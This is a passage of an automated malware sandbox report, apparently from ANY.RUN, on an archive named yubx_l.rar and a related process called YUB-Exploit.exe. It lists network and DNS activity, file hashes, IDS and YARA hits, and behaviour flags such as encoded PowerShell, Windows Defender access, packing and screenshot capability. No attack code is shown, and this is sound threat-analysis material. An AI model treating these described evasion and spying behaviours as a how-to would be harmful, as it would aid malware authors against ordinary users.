OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&HonorWUfBDeferrals=1&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2	unknown	—	5.70 Kb	whitelisted
3208	svchost.exe	GET	200	2.16.164.120:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	Not routed	—	whitelisted
3208	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	whitelisted
3656	RUXIMICS.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	whitelisted
6768	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	whitelisted
4	System	192.168.100.255:138	—	Not routed	—	whitelisted
3208	svchost.exe	2.16.164.120:80	crl.microsoft.com	AKAMAI-ASN1	NL	whitelisted
3208	svchost.exe	23.52.181.212:80	www.microsoft.com	AKAMAI-AS	US	whitelisted
7896	yubx_l.exe	140.82.121.4:443	github.com	GITHUB	US	whitelisted
7896	yubx_l.exe	185.199.111.133:443	raw.githubusercontent.com	FASTLY	US	whitelisted
3412	svchost.exe	172.211.123.250:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	4.231.128.59	whitelisted
self.events.data.microsoft.com	52.168.117.168	whitelisted
google.com	142.250.201.78	whitelisted
crl.microsoft.com	2.16.164.120 2.16.164.49	whitelisted
www.microsoft.com	23.52.181.212	whitelisted
github.com	140.82.121.4	whitelisted
raw.githubusercontent.com	185.199.111.133 185.199.110.133 185.199.109.133 185.199.108.133	whitelisted
client.wns.windows.com	172.211.123.250	whitelisted
login.live.com	20.190.159.2 40.126.31.69 20.190.159.73 40.126.31.67 20.190.159.131 40.126.31.2 40.126.31.3 20.190.159.23	whitelisted
ocsp.digicert.com	162.159.142.9 172.66.2.5	whitelisted

Threats

PID	Process	Class	Message
3208	svchost.exe	Unknown Traffic	ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
2292	svchost.exe	Not Suspicious Traffic	INFO [ANY.RUN] Attempting to access raw user content on GitHub
2292	svchost.exe	Not Suspicious Traffic	INFO [ANY.RUN] Online Pastebin Text Storage
8536	YUB-Exploit.exe	A Network Trojan was detected	ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check

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Process	Message
Setup.exe	The operation completed successfully.
Setup.exe	The operation completed successfully.

General Info

yubx_l.rar

2FA833F8E2C3500B52B846920382300A

A4CB36A972730DC49538F16D185CE701397C0C76

C159FF5151870DD0A49DED69CBD1BB1196878AB8D76332BEBFDED72D6CD71194

98304:0umGlyx1eQZ2g5sXn9/B8iGbL+GZOnMZRngAUgSmiql9I6bDZqBNm8woGJJeF/fL:SzS2Q5+E644M/w2VYIDlv

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executing a file with an untrusted certificate

SUSPICIOUS

Starts POWERSHELL.EXE for commands execution

Starts CMD.EXE for commands execution

BASE64 encoded PowerShell command has been detected

Executable content was dropped or overwritten

Starts a Microsoft application from unusual location

Searches for installed software

Creates file in the systems drive root

Using the short paths format

INFO

Reads the computer name

Reads security settings of Internet Explorer

Executable content was dropped or overwritten

Reads the machine GUID from the registry

Checks supported languages

Disables trace logs

Checks proxy server information

Create files in a temporary directory

Creates files or folders in the user directory

Generic archive extractor

Script raised an exception (POWERSHELL)

VMProtect protector has been detected

Found Base64 encoded access to Windows Defender via PowerShell (YARA)

There is functionality for taking screenshot (YARA)

Process checks computer location settings

Creates files in the program directory

The sample compiled with english language support

The sample compiled with chinese language support

The sample compiled with arabic language support

The sample compiled with czech language support

The sample compiled with german language support

The sample compiled with korean language support

The sample compiled with japanese language support

The sample compiled with french language support

The sample compiled with swedish language support

The sample compiled with portuguese language support

The sample compiled with Italian language support

The sample compiled with polish language support

The sample compiled with russian language support

Reads CPU info

The sample compiled with spanish language support

The sample compiled with turkish language support

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information